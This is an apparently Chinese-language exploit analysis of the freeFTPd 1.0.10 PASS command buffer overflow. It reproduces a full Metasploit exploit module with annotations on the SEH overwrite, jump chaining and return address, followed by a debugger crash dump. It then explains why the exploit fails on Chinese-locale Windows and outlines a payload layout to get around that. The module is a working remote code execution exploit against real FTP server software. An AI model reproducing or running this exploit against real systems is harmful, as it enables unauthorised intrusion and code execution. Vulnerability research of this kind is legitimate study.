freeftpd 1.10.0 PASS Command Buffer Overflow Analysis

一

漏洞利用程序公布页面，上面可以下载exp和出现漏洞的程序。

http://www.exploit-db.com/exploits/28681/

二

exp是基于metasploit的，易于阅读。如下，加入了自己的理解（见#号后面的中文注释）

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/ ##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info={})
super(update_info(info,
'Name'           => "freeFTPd PASS Command Buffer Overflow",
'Description'    => %q{
freeFTPd 1.0.10 and below contains an overflow condition that is triggered as
user-supplied input is not properly validated when handling a specially crafted
PASS command. This may allow a remote attacker to cause a buffer overflow,
resulting in a denial of service or allow the execution of arbitrary code.

FreeFTPd must have an account set to authorization anonymous user account.#这句话的意思是FTP必须有匿名验证的帐号，程序默认用的帐户名是anonymous
},
'License'        => MSF_LICENSE,
'Author'         =>
[
'Wireghoul', # Initial discovery, PoC
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
],
'References'     =>
[
['OSVDB', '96517'],
['EDB',   '27747'],
['BID',   '61905']
],
'Payload'        =>
{
'BadChars'   => "\x00\x0a\x0d",
},
'Platform'       => 'win',
'Arch'           => ARCH_X86,
'Targets'        =>
[
['freeFTPd 1.0.10 and below on Windows Desktop Version',
{
'Ret'    => 0x004014bb, #用这个地址覆盖了最近的SEH地址# pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]
'Offset' => 801,
}
],
],
'Privileged'     => false,
'DisclosureDate' => "Aug 20 2013",
'DefaultTarget'  => 0))

register_options([
OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ]),

], self.class)

# We're triggering the bug via the PASS command, no point to have pass as configurable
# option.
deregister_options('FTPPASS')

end

def check

connect
disconnect

# All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"
# when banner grabbing.
if banner =~ /freeFTPd 1\.0/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe

end
end

def exploit

connect
print_status("Trying target #{target.name} with user #{user()}...")

off = target['Offset'] - 9

bof = payload.encoded
bof << rand_text(off - payload.encoded.length)
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string  #跳到shellcode开头
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string #跳到上面一句跳转，用两个跳转是为了对齐，直接用一个jmp长跳转指令超出了4字节
bof << rand_text(2) #上面一句跳转指令只有2个字节，这里补两个字节对齐
bof << [target.ret].pack('V') #覆盖SEH

send_user(datastore['FTPUSER'])
raw_send("PASS #{bof}\r\n")
disconnect

end
end

=begin
(c78.ea4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18
eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
OLEAUT32!SysFreeString+0x55:
76c23e8d ff36            push    dword ptr [esi]      ds:0023:4141413d=????????

FAULTING_IP:
OLEAUT32!SysFreeString+55
76c23e8d ff36            push    dword ptr [esi]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 4141413d
Attempt to read from address 4141413d
=end

三

测试的时候开始用中文版，exp过去没有反应，换成英文版（没有英文版的，把中文版的语言地区设置里的高级设置为英文，重启即可）就好了。

开始用OD下recv和send的断点，并没有定位到溢出点。如果不加载shellcode，发超长字符串过去，程序会直接退出，没有报错，估计是SEH处理了。

后来定位PASS字符串，在PASS字符串后下断点，一步一步来到溢出的关键函数。

如图1



图1

程序会把用匿名用户登录的情况保存下来，这其中包括输入的密码，就是PASS指令后的字符串。用的wsprintfA函数实现，输入的密码在图中是eax。wsprintfA执行完后，如果输入的密码够长，就能超出为wsprintfA申请的缓存区，从而覆盖掉栈里后面的数据。在这里不能覆盖函数返回点，因为在函数返回前，程序会调用

SysFreeString

释放数据，而释放的数据有可能已经被超长的密码覆盖掉，从而就会出现异常，而会出现异常，我们只要覆盖掉最近的SEH就好了。exp正是这样做的。

看图2图3





当执行SysFreeString发生异常时，程序会跳转到0x004014BB去执行，执行了两次POP，ESP指向的内存变成了0012BA48，执行retn命令时，就跑出执行了栈里的数据。对应栈里两次jmp后，程序顺利到达shellcode执行。

shellcode也可以放在覆盖地址的后面，只是jmp往前跳不会出现00的机器码，而往后跳容易出现00机器码，这里是在密码字符串里溢出的，所以不能出现00。

四

调试了下，为什么中文系统里溢出没有成功，原因是程序在接受了PASS后的参数后执行了

MultiByteToWideChar

来保存密码，

然后在调用wsprintfA前又调用了

WideCharToMultiByte

还原数据。

在英文版的系统里，输入的字符串在这两个函数里进出是没有问题的。但是如果是中文系统，输入的字符中间如果满足一定的规律（应该是编码问题，我没搞明白怎么绕过），就会在两个函数执行后被改变，比如exp里的pop pop retn的地址0x004014BB

14BB

经过上面两个函数后，会变成

3F

而且前面的数据和shellcode里的数据也会被改变，所以中文版的没能成功触发漏洞。

虽然栈里用来覆盖SEH地址的数据被改变过了，但是栈里依然保存着原始数据，在覆盖地址的后面，大概200字节处。

为了在中文系统里顺利覆盖掉地址，SEH地址前面的数据必须精确计算，所以就用单字节数据，如全是0x41或者0x90，就不会被改变掉，从而顺利覆盖掉SEH地址（覆盖为0x0040101B是，这个数据在中文系统里也不会被转义），这时shellcode就应该放在SEH覆盖地址的后面。

但是问题也随之而来。

1，覆盖SEH选的地址是00开头的（就是程序本身进程模块里选的），接在00后的数据会被截断，从而没法没法进入栈中。

这时可以选择一些系统dll里的地址，避开00开头，但是随之而来，兼容性就降低了。

2， 因为shellcode在SEH地址的后面，retn完后，要jmp过去，但是超过了128字节，需要用长跳，会出现00，悲剧。

3， 那么就只有让shellcode小于128字节，整个密码里填写的数据就要像这样排列
{nop>>jmp shellcode>>jmp AA>>SEH>>jmp BB>>shellcode}（命名为块1）

虽然这个排列里的数据会被转码破坏，但是经过调试只要保证jmp和SEH处的不被破坏就行，nop不会被破坏。在溢出发生后，这个数据后后面，距SEH，200字节处会有未被破坏的数据（块2，依然是{nop>>jmp shellcode>>jmp AA>>SEH>>jmp BB>>shellcode}），只要jmp AA落在jmp BB上，jmp BB落在块2最前面的nop上，那么就能顺利执行这短小的shellcode。